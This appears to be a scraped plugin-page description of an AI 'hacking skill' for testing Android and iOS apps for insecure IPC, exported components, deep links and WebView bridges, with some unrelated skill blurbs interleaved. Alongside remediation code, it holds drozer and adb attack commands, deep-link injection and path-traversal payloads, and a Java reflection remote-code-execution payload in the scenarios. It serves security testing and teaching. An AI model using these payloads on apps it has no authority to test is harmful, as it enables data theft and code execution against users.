From meta
Detects insecure platform interaction in mobile apps (Android/iOS). Trigger on: exported Activity, exported Service, exported BroadcastReceiver, Content Provider, Intent injection, deep link hijacking, WebView JavaScript enabled, JavascriptInterface, addJavascriptInterface, setJavaScriptEnabled, intent:// scheme, file:// scheme, WKWebView, WKScriptMessageHandler, UIPasteboard, URL scheme hijacking, Universal Links, PendingIntent, FLAG_IMMUTABLE, overlay attack, tapjacking, screenshot prevention, FLAG_SECURE, Broadcast sniffing, IPC data exposure. Covers MASVS-PLATFORM-1/2/3.
npx claudepluginhub securityfortech/hacking-skills --plugin metaThis skill uses the workspace's default tool permissions.
Mobile platforms expose rich IPC mechanisms (Intents, Content Providers, URL schemes, XPC, Pasteboard) that apps use to communicate. Without proper access control, exported components become attack vectors: a malicious app can send crafted Intents to trigger sensitive operations, read Content Provider data without permission, or hijack deep links by registering the same scheme. WebViews with Ja...
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
Mobile platforms expose rich IPC mechanisms (Intents, Content Providers, URL schemes, XPC, Pasteboard) that apps use to communicate. Without proper access control, exported components become attack vectors: a malicious app can send crafted Intents to trigger sensitive operations, read Content Provider data without permission, or hijack deep links by registering the same scheme. WebViews with JavaScript enabled and addJavascriptInterface create XSS-to-RCE bridges. Deep link URL parameters injected into WebView navigation or SQL queries without sanitization enable injection attacks within the app.
android:exported="true" on Activity, Service, or BroadcastReceiver without android:permissionandroid:exported="true" and no read/write permission constraintssetJavaScriptEnabled(true) in a WebView that loads remote/user-supplied URLsaddJavascriptInterface(obj, "name") exposing Java objects to WebView JSonReceivedSslError().proceed() (also a network issue, creates XSS delivery path)<data android:scheme="app"> without caller validationPendingIntent created with implicit Intent and no FLAG_IMMUTABLEUIPasteboard.generalPasteboard writes containing credentialssetAllowFileAccess(true) or setAllowFileAccessFromFileURLs(true)filterTouchesWhenObscured absent on security-sensitive touch targetsAndroid:
apktool d app.apk — list all exported components in AndroidManifest.xmlrun app.package.attacksurface TARGET_PKG — shows all exposed componentsadb shell am start -n TARGET_PKG/.SensitiveActivityadb shell am broadcast -a com.target.ACTIONadb shell content query --uri content://TARGET_PKG.provider/usersIntent.getData() usage without input validationsetJavaScriptEnabled, addJavascriptInterfacePendingIntent.getActivity/getBroadcast calls for FLAG_IMMUTABLEiOS:
CFBundleURLTypes (custom schemes) and com.apple.developer.associated-domainsapplication(_:open:options:) and scene(_:openURLContexts:) for URL parameter handlingWKScriptMessageHandler implementations exposing native functionalityUIPasteboard.general.string = with sensitive data# drozer — Android attack surface
drozer console connect
run app.package.attacksurface TARGET_PKG
run app.activity.start --component TARGET_PKG TARGET_PKG.ui.AdminActivity
run app.provider.query content://TARGET_PKG.UserProvider/users
run app.broadcast.send --action TARGET_PKG.TRIGGER_ACTION --extra string key value
# adb — deep link injection
adb shell am start -W -a android.intent.action.VIEW \
-d "app://login?next=javascript:alert(1)" TARGET_PKG
# adb — access exported content provider
adb shell content query --uri content://TARGET_PKG.provider/internal_notes
# iOS — custom scheme invocation from attacker app
open "victim-app://action?param=../../../etc/passwd"
# Frida — hook WebView JS interface
Java.perform(function() {
var WebView = Java.use("android.webkit.WebView");
WebView.addJavascriptInterface.implementation = function(obj, name) {
console.log("[+] addJavascriptInterface:", name, obj.$className);
this.addJavascriptInterface(obj, name);
};
});
addJavascriptInterface exposes the full Java reflection API on Android < 4.2; use getClass().forName("Runtime").exec()../../ to content URI path to escape intended directoryScenario 1 — Exported Activity Data Theft
Setup: SettingsActivity is exported with no permission; it reads and displays account details from Intent extras. → Trigger: adb shell am start -n TARGET/.SettingsActivity with crafted extras. → Impact: Sensitive account data displayed to attacker without authentication.
Scenario 2 — WebView JavascriptInterface RCE (Android < 4.2)
Setup: WebView loads user-supplied URL with addJavascriptInterface(helper, "Android") binding. → Trigger: Attacker-controlled page calls window.Android.getClass().forName("java.lang.Runtime").exec(["id"]). → Impact: Remote code execution in app process via reflected Java method invocation.
Scenario 3 — iOS URL Scheme Hijacking
Setup: App registers myapp:// scheme for deep link login; no verification of calling app. → Trigger: Malicious app opens myapp://auth?token=STOLEN_TOKEN. → Impact: Attacker-controlled token processed as legitimate, session hijacked.
android:permission="android.permission.INTERNET" — any app can hold this; not protectivegrantUriPermissions but explicit permission grants only — verify the grant mechanism is controlledsourceApplication — confirm validation is cryptographically sound<!-- Android — protect exported component with custom permission -->
<activity android:name=".AdminActivity"
android:exported="false" /> <!-- prefer unexported -->
<!-- If export required: -->
<activity android:name=".ShareActivity"
android:exported="true"
android:permission="com.target.SHARE_PERMISSION" />
// Android — PendingIntent with FLAG_IMMUTABLE
val pi = PendingIntent.getActivity(ctx, 0, Intent(ctx, MainActivity::class.java),
PendingIntent.FLAG_IMMUTABLE or PendingIntent.FLAG_UPDATE_CURRENT)
// Android — WebView: disable JS if not needed; never expose JS interface to untrusted content
webView.settings.javaScriptEnabled = false
// If JS required, load only trusted local assets:
webView.loadUrl("file:///android_asset/index.html")
// iOS — validate URL scheme source
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey: Any]) -> Bool {
guard let source = options[.sourceApplication] as? String,
allowedApps.contains(source) else { return false }
// process url
}
Deep link parameters injected into WebView navigation parallel [[dom-xss]] — URL scheme parameters that reach loadUrl() without validation are the mobile equivalent of a JavaScript-executing DOM sink. Exported Content Providers with path traversal are a mobile-specific form of [[path-traversal]] — the same ../ sequences apply to content URI paths. [[mobile-code-quality]] covers WebView addJavascriptInterface vulnerabilities and SQL injection via IPC, which are code-level defects often triggered by platform interaction vectors.